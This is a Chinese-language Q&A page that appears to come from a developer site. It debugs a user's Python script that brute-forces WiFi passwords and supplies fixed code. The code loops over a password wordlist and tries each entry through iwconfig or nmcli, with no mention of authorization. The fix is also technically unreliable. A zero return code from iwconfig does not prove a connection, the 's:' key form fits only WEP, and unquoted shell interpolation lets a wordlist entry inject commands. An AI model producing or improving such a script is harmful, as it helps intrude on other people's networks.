You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python编写WiFi密码爆破脚本无法正常连接网络的问题求助

问题分析与修复方案

代码中的直接错误

  • 错误1:变量被误当作函数调用
    你将wifiname以wifiname()的方式调用,但它是input()获取的字符串变量,正确用法是直接写wifiname。这个错误会导致脚本抛出TypeError,但你的except块仅捕获异常却没真正执行连接命令。

  • 错误2:未校验命令执行结果
    os.popen不会主动抛出异常,哪怕连接失败(比如密码错误),脚本也会进入else分支误报成功。必须读取命令输出或获取返回码来判断连接状态。

  • 错误3:文件资源未妥善释放
    直接open文件后未关闭,建议用with语句自动管理文件资源,避免资源泄漏。

修复后的代码示例

import os

wifiname = input("Enter Wifi SSID: ")

print("Wifi not stored, testing password...")
# 用with语句自动关闭文件
with open('/home/asive/Documents/seclists/wordlists/passwords.lst', 'r') as file:
    for line in file:
        password = line.strip()
        if not password:
            continue  # 跳过空行
        print(f"Testing Key {password}")
        # 修复变量调用错误,添加sudo并校验命令返回码
        cmd = f"sudo iwconfig wlan0 essid {wifiname} key s:{password}"
        stream = os.popen(cmd)
        output = stream.read()
        return_code = stream.close()
        # 根据返回码判断连接是否成功
        if return_code is None:
            print(f"Success Key=={password}")
            break  # 找到有效密码后退出循环
        else:
            print(f"{password} failed, trying next.")

额外优化建议

  1. 改用更可靠的WiFi管理工具
    iwconfig是老旧工具,现代Linux系统更推荐用nmcli(NetworkManager命令行工具)或wpa_supplicant,连接成功率更高。比如替换为nmcli命令:

    sudo nmcli device wifi connect {wifiname} password {password}
    

    能更精准地获取连接结果。

  2. 权限配置优化
    确保脚本以root权限运行,或命令前加sudo,同时建议配置用户无需密码执行sudo(避免脚本卡住等待输入密码)。

  3. 错误处理精细化
    避免用except:捕获所有异常,应明确捕获特定异常(如TypeError、PermissionError),便于排查问题。

内容的提问来源于stack exchange,提问作者asive

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.31 10:10:26